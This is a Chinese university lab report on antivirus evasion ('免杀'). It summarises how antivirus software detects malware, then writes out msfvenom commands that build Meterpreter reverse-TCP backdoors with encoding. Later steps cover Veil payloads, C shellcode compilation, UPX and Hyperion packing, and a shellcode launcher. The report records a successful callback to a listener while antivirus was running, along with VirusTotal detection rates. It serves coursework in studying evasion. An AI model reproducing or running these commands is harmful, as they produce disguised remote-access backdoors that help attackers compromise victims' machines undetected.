免杀原理与实践
一、实验内容
1、方法
- 对后门实验中的msf编码器进行进一步的探索使用,使用msfvenom指令生成如jar之类的文件,从而尝试达到免杀的目的;
- 通过Veil等工具对目标程序进行加壳或者其他操作来实现免杀;
- 使用C+ShellCode编程实现免杀;
2、应用
通过组合应用各种技术尽可能地实现恶意代码免杀或者是与杀软共生(如果成功实现了免杀的,简单语言描述原理,不要截图;与杀软共生的结果验证要截图)
3、拓展
用另一电脑配合进行实测,在杀软开启的情况下,可以成功运行程序并回连成功(注明电脑的杀软名称与版本)
二、实验要求
1、杀软是如何检测出恶意代码的?
(1)基于特征码的检测
在每个杀软中都存在一个储存特征码的库,而能识别出来的恶意代码都会有这样的一段或者多段代码,它可以唯一的标识这个恶意代码,并且其他的文件里是没有的,这样的一段或者多段代码被称为特征码。
打个比方,公安机关需要及时将人物信息录入系统,这样在犯罪现场提取到生物样本的时候我们就能第一时间确定嫌疑人的对象。杀软也是一样,杀软实时更新特征码库,尽可能保证可以识别恶意代码,否则只能识别很老的恶意代码,杀软也就失去了它的作用。
当然,每个杀软的特征码库一般是保密的,这是竞争力所在,网络上很难找到特征码库。但是,可以使用Snort进行检测,这是一个开源的入侵检测平台。
基于特征码检测的优点是:精确地识别恶意代码。
基于特征码检测的缺点是:滞后性,只有当特征库更新的足够快才能防止新型的恶意代码。
(2)启发式恶意软件检测
启发式恶意软件检测是一种更倾向于动态特征而不是静态特征的检测方法,没有特征码检测那么精确。
启发式恶意软件检测是通过片面特征推断是否是恶意代码。可以通过软件的某些信息比如文件的签名、结构、厂商信息等来进行判断,如果有异常信息,就很有可能是恶意软件。
同时也可以通过其他行为来判断,同恶意代码的典型行为进行对比就很容易得出结论。诸如开放端口、修改系统文件、反弹连接等等都是恶意代码的典型特征。
启发式恶意软件检测的优点是:
- 可以检测特征码无法检测的0-day恶意软件
- 具有一定通用性
启发式恶意软件检测的缺点是:
- 与特征码检测比起来,不够精确
- 由于实时监控系统行为,开销较大
(3)基于行为的检测
和启发式检测很像,基于行为的检测也是通过监视程序的行为,依靠动态拦截或是静态分析的方案获取程序的行为模式,再与已知的恶意代码惯有的行为模式进行对比,以此来判断目标文件是否为恶意软件。
2、免杀是做什么?
免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
3、免杀的基本方法有哪些?
通过杀软对恶意软件进行检测的方法我们可以总结出免杀的基本方法主要以下几种:
(1)开源免杀:指在有病毒、木马源代码的前提下,通过修改源代码进行免杀,这也是最直观有效的方法,但是现实中我们很难拿到病毒、木马的源代码;
(2)手工免杀:指在有病毒、木马的可执行文件(.exe)(PE文件)的情况下进行免杀,或者是更改需要免杀的恶意软件的行为。
- 改变特征码:如果有.exe文件可以进行加壳(包括压缩壳、加密壳),如果有ShellCode可以使用encode进行编码,改变他原本的特征码或者基于payload重新编译生成可执行文件;
- 改变行为:在通讯方式上,尽量使用反弹式连接,让被攻击机连接攻击机,或者使用隧道技术并对通讯内容进行加密;在操作模式上可以基于内存操作,并减少对内存的修改。
三、实验过程
1、免杀方法测试之msf
(1)首先通过编辑器msf生成一个正常的后门程序,利用如下指令。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.203 PORT=900 -f exe > pzy.exe
(2)使用编辑器msf实现免杀。首先和上一个实验一样,使用msfvenom指令生成后门程序,代码如下。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.203 LPORT=9000 -f exe > 20192409pzy_backdoor.exe
(3)然后我们打开病毒在线测试网站VirusTotal,分别对两个后门程序进行测试,最后得到的结果分别如下面两个图片所示。
(4)经过对比我们发现,非常遗憾,单纯通过msf编辑器对后门程序进行处理生成.exe文件并不能有效的实现免杀,在处理前后都能被大部分的杀软识别出来,检出率相差不大(54/68)。
(5)那么生成其他格式的文件呢?首先我们测试一下.jar文件,使用的指令如下。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.203 LPORT=9000 -f jar > 20192409pzy.jar
我们进行检测得到下图的结果,检出率下降明显(32/60),但还是被超过半数的杀软检测出来。
(6)再来测试.php文件,代码如下。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.203 LPORT=9000 x> 20192409pzy.php
我们进行检测,发现检出率相较于.jar略微有所减少(22/59),如图所示。
(7)最后我们生成.py文件进行实验,代码如下。
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.203 LPORT=9000 -f py > 20192409pzy.py
然后进行检测,检出率为0,perfect。
2、免杀方法测试之Veil
(1)首先,我们需要下载Veil。注意!一定要用移动热点!一定要用移动热点!一定要用移动热点!(重要的事情说三遍)校园网下载你就可以享受几KB的下载速度,代码如下。
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
然后我们就可以等下下载完成了,当然这里BUG非常非常多,具体可以看问题部分,下载界面就像下图这样。
(2)历尽千辛万苦终于下载完成了,下载完成后运行Veil就可以看到下图所示的界面了。
(3)然后我们使用下面的指令进入Evasion模块。
use evasion //use 1也是可以的,是渐变指令
得到的结果如下图所示。
(4)接下来要选择我们的攻击载荷,通过下面的指令。
use c/meterpreter/rev_tcp.py
如果不知道如何配置攻击载荷,我们可以使用list指令来查看所有的payload信息,然后使用快捷指令来对攻击载荷进行配置,在这里我们可以发现第七条就是我们想要的攻击载荷,所以我们如下图所示进行操作,并且在这一步中,我们还要对地址LHOST、端口LPORT进行配置,再使用generate指令生成.exe文件。
(5)最后还是要将文件上传到VirusTotal中进行检测,我们发现检出率相对于用msf编辑器简单生成.exe文件有所下降(39/68)。
3、免杀方法测试之c+ShellCode
(1)首先我们要生成一段Shellcode,所以我们输入下面的指令。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.203 LPORT=9000 -f c
(2)然后我们就可以新建一个.c空文件并将这一段ShellCode填入,这里要注意一定要加入主函数,不然之后在编译的时候会报错,填完后.c文件如图所示。
(3)然后我们进行编译,编译的指令如下所示。
i686-w64-mingw32-g++ 20192409pzy.c -o 20192409shellcode.exe
(4)最后我们还是一样将文件上传到VirusTotal进行检测,我们发现检出率也不是很理想(36/68),如图所示。
4、免杀方法测试之加壳
(1)我们使用以下指令对刚刚生成的文件进行加壳,代码如下。
upx 20192409shellcode.exe -o 20192409shellcodenew.exe
(2)再进行测试发现,检出率并没有很明显地减少(34/69),如图所示。
以上就是免杀方法测试的全部内容了,综合来说免杀效果差强人意,所以我们要将各种免杀方法组合起来进行。
5、组合使用免杀技术进行免杀
(1)刚刚我们已经对文件加了压缩壳,然后我们直接把文件传到主机,用联想电脑管家进行查杀发现,居然没有被查杀出来,如下图所示。
(2)为了保证安全性,我们就尝试给这个文件再加一层加密壳,使用如下指令。
wine hyperion.exe -v 20192409shellcodenew.exe 20192409shellcodeq.exe
(3)再传到主机上并使用管家进行查杀,我们惊奇的发现,多加了一层壳的文件反而报毒了,Oh my god!如下图所示。
(4)这时候我们需要再加一层压缩壳才行,就跟第一步一样,具体过程不赘述了。
6、用另一电脑实测,在杀软开启的情况下,可运行并回连成功
(1)首先我们先生成.raw文件,代码如下。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' LHOST=192.168.1.203 LPORT=9000 -f raw -o 20192409pzy.raw
运行结果如下图所示。
这时候我们可以尝试使用杀软进行测试,发现我们的.raw文件并没有报毒,如图所示。
(2)然后我们将文件传到电脑主机上shellcode_launcher-master的路径下(shell_launcher需要下载,地址为https://gitee.com/vantler/shellcode_launcher/),并用shellcode_launcher指令运行,代码如下。
shellcode_launcher.exe -i 20192409pzy.raw
与此同时,虚拟机上应该同实验二中一样开启监听,如下面两张图所示。
最后我们发现,能够成功进行监听,如下图所示。
四、实验问题与解决方案
1、Veil无法成功下载
问题1:在下载Veil的时候会报错,首先安装wine32的时候会提示找不到安装选项,所以我们单独sudo apt install wine32
以及它的依赖包sudo apt install libwine
然后再次进行下载,很遗憾,依旧是报错。
解决方案:这时候我们需要对镜像源进行更新,然后发现就可以安装了。
问题2:有下图所示的错误。
解决方案:这里其实并没有找到解决方案,但是发现出现了这个错误并不影响Veil的使用,所以就将其跳过了。
2、加密壳相关问题
问题:为什么直接进行加压缩壳后的文件不报毒,反而加了加密壳后的文件报毒了。这里并没有找到原因。
五、实验感想与体会
通过本次实验,我充分了解到了免杀技术和原理。在这次实验中,我尝试使用了msf编辑器、Veil工具、加壳、c+ShellCode等各种各样的免杀方式,但是在单一的免杀技术运用的时候,我们可以发现,虽然对于检出率都有一定的减少,但还是有超过三分之一的杀软是可以检测出来的,这说明单一免杀方法并不好。所以我之后尝试了组合免杀,虽然在过程中出现了很多问题,但是最后的结果还是比较好的。
本次实验更多的可以算是上一个实验后门原理的衍生和拓展,既然生成了后门程序,要发挥作用,那必定不可能一生成就被杀毒软件给杀掉,所以就需要免杀技术。所以我们这次实验的内容也是非常重要的。总的来说,通过实验,我们了解到了免杀的基本原理、免杀的各种方法、免杀的优化等等,与理论知识很好的结合了起来,同时也对之前没搞懂的知识进行了反哺。
整个实验下来,我对于免杀技术的了解更深了一个层次,这也让我对这门课的认识更加深入了。最后,非常感谢王老师课上的耐心讲解以及云班课视频的支持,正是因此我才能这样顺利地完成本次实验,谢谢!